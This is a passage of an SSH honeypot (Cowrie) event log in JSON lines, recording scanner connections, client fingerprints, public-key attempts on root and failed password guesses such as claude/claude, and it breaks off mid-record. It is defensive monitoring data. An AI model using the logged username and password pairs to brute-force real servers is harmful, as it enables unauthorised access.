{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:9d:ee:fb:c0:a2:d6:2f:86:fe:22:44:a3:84:36:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyOXzjcMMGlFSOgdpnjcO3Y30KJUn+yWFepi8Gl1kMU+3NrPT8doNPtmzxDZSHmT1u0LC0NlSvPIz0ebXEembf7Mcvy2B52OE5T15VJKjZ7D1UFRIaeW/eKtsQrm/OP7/yYNdjo01E9UMdi2FQP8KtmUbgV43GU3qjNbVu16l4Ff3RS9tFSygNUJhN+qanXzV/7BeWzURZ2YJ9uAkn5/t0lUMxfgvF+CqrlPXMWQ1ABM1my4tSfsn7gimCRHseE4khQ6Dl+tRZ+gUf0za6k0vV2+Z55YCrJ3zuMpyFGXffS13P8dG8RK2Ig4IDHIKIXV8HUFMgElbYenvlZBVylOaR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:20.018296Z","src_ip":"23.237.188.34","session":"6a31e0c78338","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:49:cc:1d:d3:13:b3:75:73:a4:82:77:4e:f1:c3:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMpZ6w2rYdxXPWQJ6ufzA0lOpRxTUt/pCAzSFrzW0XEoW8EpFV54X+E3honE/OhuviXEQoa1EYR9DZuqkb3dS6xnXv4nSHLBAGCP/PAFJ5rYCQbEnOWlSQCVFmCKfzDM0/6orYKmsdWit0RRoSn6YHEasSc75Yf1M75xMKBfBviN5OgcwXJ32mmvnvcoDHktuuBG4Xc6fIphMkPOUJvy954nmbXMi+W+w1uErOegx9Tef9ZcCZqUrHewB6QEIL57ZIB9pEVj4g5LSpYBoemPV/P558mvn4yw/4JoeFDiTlL2QvfL6KtiUeAeO8qlDiPIg37nA06jOxJGmSjvuMIAh3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:49:cc:1d:d3:13:b3:75:73:a4:82:77:4e:f1:c3:01","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:20.084414Z","src_ip":"23.237.188.34","session":"6a31e0c78338","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:49:cc:1d:d3:13:b3:75:73:a4:82:77:4e:f1:c3:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMpZ6w2rYdxXPWQJ6ufzA0lOpRxTUt/pCAzSFrzW0XEoW8EpFV54X+E3honE/OhuviXEQoa1EYR9DZuqkb3dS6xnXv4nSHLBAGCP/PAFJ5rYCQbEnOWlSQCVFmCKfzDM0/6orYKmsdWit0RRoSn6YHEasSc75Yf1M75xMKBfBviN5OgcwXJ32mmvnvcoDHktuuBG4Xc6fIphMkPOUJvy954nmbXMi+W+w1uErOegx9Tef9ZcCZqUrHewB6QEIL57ZIB9pEVj4g5LSpYBoemPV/P558mvn4yw/4JoeFDiTlL2QvfL6KtiUeAeO8qlDiPIg37nA06jOxJGmSjvuMIAh3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:20.091778Z","src_ip":"23.237.188.34","session":"6a31e0c78338","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:f8:41:1e:00:36:b8:b1:95:e8:2a:c5:1e:20:98:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWxPbIAVcvui/aiasKVO5GE+GgU2ItsOPMjew8C+6F4pB4VU0wSjgi7vcUmHRL8HhU34gkHKZZQihPlVJvOyoi/5kvtGxjReoiIlV7xFDPeuknTNQVieLt1DmhgAsrPf91qs36USvnL8/Ha/NIuiKTkj8Me3+266BAp6+MAUNOKCNV8ig9irIcjmnSnSw+2zMaxQDd8s6c2/RU/3pEyAby9OH4U0GYyGwaG8stTye4pUqcPWybH+vGuN79KGN3q4B1h0xm3ERv0hMszVAhNTxB9V3YtSYn9jyyclZJuipdBAERNlfL4/aJyMf9ml8oi0LnQajyYngeGQkfn0IIy3pN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 52:f8:41:1e:00:36:b8:b1:95:e8:2a:c5:1e:20:98:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:20.160238Z","src_ip":"23.237.188.34","session":"6a31e0c78338","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:f8:41:1e:00:36:b8:b1:95:e8:2a:c5:1e:20:98:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWxPbIAVcvui/aiasKVO5GE+GgU2ItsOPMjew8C+6F4pB4VU0wSjgi7vcUmHRL8HhU34gkHKZZQihPlVJvOyoi/5kvtGxjReoiIlV7xFDPeuknTNQVieLt1DmhgAsrPf91qs36USvnL8/Ha/NIuiKTkj8Me3+266BAp6+MAUNOKCNV8ig9irIcjmnSnSw+2zMaxQDd8s6c2/RU/3pEyAby9OH4U0GYyGwaG8stTye4pUqcPWybH+vGuN79KGN3q4B1h0xm3ERv0hMszVAhNTxB9V3YtSYn9jyyclZJuipdBAERNlfL4/aJyMf9ml8oi0LnQajyYngeGQkfn0IIy3pN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:20.163596Z","src_ip":"23.237.188.34","session":"6a31e0c78338","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:a9:65:58:2d:cb:b1:d1:e6:0e:89:a2:39:90:51:80","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIADzkhDIsn5ty4LwEgxj37LcgbQiP6edKwtx/WkkVZQ+","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 29:a9:65:58:2d:cb:b1:d1:e6:0e:89:a2:39:90:51:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:20.231789Z","src_ip":"23.237.188.34","session":"6a31e0c78338","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:a9:65:58:2d:cb:b1:d1:e6:0e:89:a2:39:90:51:80","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIADzkhDIsn5ty4LwEgxj37LcgbQiP6edKwtx/WkkVZQ+","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:20.235268Z","src_ip":"23.237.188.34","session":"6a31e0c78338","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f7:4b:ee:33:fa:2f:89:e3:eb:87:38:6d:85:67:38:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDfgloEwhlkUJPUXDtvs/vGlo+iOl5j4bj0BzY6H9jzd1U+zsGAkfINY4Iainfz3ZvhMrJSdfV2U/OIY3nedXgW7wj9DvQH8c4YtBJxosb321P+jAReCNze2PcVtts4JuoZsooMhbW+Zi/q4VKSaVNvcAI5UwLV6RXTPiMJ4eOHW+fEuZVZjtOPBnp/2WfzzN8g5mo1vq945r/uK4yndQrCNBdv0Znhni8MsCbQqIBzWQrCAMuxDnfHKUcpRrtoOWMniK+MkBnyyc4azVJl+fCG2ipGwNSuQ5bSs2czJSXt2I/nHvWfRq9JvqPXQ0hJ2fPoSJz3bqBWem04I43fdkhhASCnEDo+Q18HoMXclMe3S22hXBk1v2yRcjUHvmDsfENA4sWiTlZHAdrmLfpJnkQzqYkgxC7iX8SXsvislAP0e6xRUd6pPcDUpqmGDhPUUJ4Dt1CJlXaeQhejTTO0fpQWeVkJ9D3qDDFfwKlUmNnLrraRKXrhUTI3T2yiY6w4gfDcM8klIeemTciyzXayP+f2X11IVwZg95MZ05EXi8AZEFjFIOZgRFMgFeLNu92zNLp5V/HjuHEntZ/WJnSVKzIqi3EqGKHzfKchU4ppRMyD5PigHaAiGCxHWAvNFDWk/X0Gpua+Y4sBc0uuRPnq+qf4zBCcnldUFkOiRTC13fWb0Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f7:4b:ee:33:fa:2f:89:e3:eb:87:38:6d:85:67:38:15","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:20.302758Z","src_ip":"23.237.188.34","session":"6a31e0c78338","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f7:4b:ee:33:fa:2f:89:e3:eb:87:38:6d:85:67:38:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDfgloEwhlkUJPUXDtvs/vGlo+iOl5j4bj0BzY6H9jzd1U+zsGAkfINY4Iainfz3ZvhMrJSdfV2U/OIY3nedXgW7wj9DvQH8c4YtBJxosb321P+jAReCNze2PcVtts4JuoZsooMhbW+Zi/q4VKSaVNvcAI5UwLV6RXTPiMJ4eOHW+fEuZVZjtOPBnp/2WfzzN8g5mo1vq945r/uK4yndQrCNBdv0Znhni8MsCbQqIBzWQrCAMuxDnfHKUcpRrtoOWMniK+MkBnyyc4azVJl+fCG2ipGwNSuQ5bSs2czJSXt2I/nHvWfRq9JvqPXQ0hJ2fPoSJz3bqBWem04I43fdkhhASCnEDo+Q18HoMXclMe3S22hXBk1v2yRcjUHvmDsfENA4sWiTlZHAdrmLfpJnkQzqYkgxC7iX8SXsvislAP0e6xRUd6pPcDUpqmGDhPUUJ4Dt1CJlXaeQhejTTO0fpQWeVkJ9D3qDDFfwKlUmNnLrraRKXrhUTI3T2yiY6w4gfDcM8klIeemTciyzXayP+f2X11IVwZg95MZ05EXi8AZEFjFIOZgRFMgFeLNu92zNLp5V/HjuHEntZ/WJnSVKzIqi3EqGKHzfKchU4ppRMyD5PigHaAiGCxHWAvNFDWk/X0Gpua+Y4sBc0uuRPnq+qf4zBCcnldUFkOiRTC13fWb0Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:20.306725Z","src_ip":"23.237.188.34","session":"6a31e0c78338","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:20.373059Z","src_ip":"23.237.188.34","session":"6a31e0c78338","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.191.31","src_port":47128,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7602e27cf22","protocol":"ssh","message":"New connection: 170.106.191.31:47128 (10.17.0.5:22) [session: f7602e27cf22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:25.817932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:25.821936Z","src_ip":"170.106.191.31","session":"f7602e27cf22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:25.891822Z","src_ip":"170.106.191.31","session":"f7602e27cf22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:26.194700Z","src_ip":"170.106.191.31","session":"f7602e27cf22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:27.266056Z","src_ip":"170.106.191.31","session":"f7602e27cf22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":51497,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b5551302e6e","protocol":"ssh","message":"New connection: 152.42.212.128:51497 (10.17.0.5:22) [session: 8b5551302e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:31.245397Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:31.251312Z","src_ip":"152.42.212.128","session":"8b5551302e6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:31.254933Z","src_ip":"152.42.212.128","session":"8b5551302e6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":22293,"dst_ip":"159.203.135.109","dst_port":22,"session":"38078e6d375c","protocol":"ssh","message":"New connection: 2.57.121.25:22293 (159.203.135.109:22) [session: 38078e6d375c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:37.414395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:37.418421Z","src_ip":"2.57.121.25","session":"38078e6d375c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:37.522046Z","src_ip":"2.57.121.25","session":"38078e6d375c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"168168","message":"login attempt [user/168168] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:38.010920Z","src_ip":"2.57.121.25","session":"38078e6d375c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"161190","message":"login attempt [user/161190] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:39.118516Z","src_ip":"2.57.121.25","session":"38078e6d375c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"16101983","message":"login attempt [user/16101983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:40.230751Z","src_ip":"2.57.121.25","session":"38078e6d375c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"16101976","message":"login attempt [user/16101976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:41.338703Z","src_ip":"2.57.121.25","session":"38078e6d375c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"16071981","message":"login attempt [user/16071981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:42.445883Z","src_ip":"2.57.121.25","session":"38078e6d375c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:43.552238Z","src_ip":"2.57.121.25","session":"38078e6d375c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":48438,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd3b481eb4ed","protocol":"ssh","message":"New connection: 109.172.54.111:48438 (10.17.0.5:22) [session: dd3b481eb4ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:45.834281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:45.839299Z","src_ip":"109.172.54.111","session":"dd3b481eb4ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:45.940016Z","src_ip":"109.172.54.111","session":"dd3b481eb4ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hfljcnm","message":"login attempt [root/hfljcnm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:46.238666Z","src_ip":"109.172.54.111","session":"dd3b481eb4ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:47.374064Z","src_ip":"109.172.54.111","session":"dd3b481eb4ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":55212,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3d5f5607b46","protocol":"ssh","message":"New connection: 193.37.70.224:55212 (159.203.135.109:22) [session: c3d5f5607b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:08:01.086958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:08:01.094162Z","src_ip":"193.37.70.224","session":"c3d5f5607b46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:08:01.186068Z","src_ip":"193.37.70.224","session":"c3d5f5607b46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bhbyrf","message":"login attempt [root/bhbyrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:08:01.455803Z","src_ip":"193.37.70.224","session":"c3d5f5607b46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:08:02.548019Z","src_ip":"193.37.70.224","session":"c3d5f5607b46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":35978,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4323b9baa37","protocol":"ssh","message":"New connection: 103.149.28.157:35978 (10.17.0.5:22) [session: e4323b9baa37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:08:22.653441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:08:22.658959Z","src_ip":"103.149.28.157","session":"e4323b9baa37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"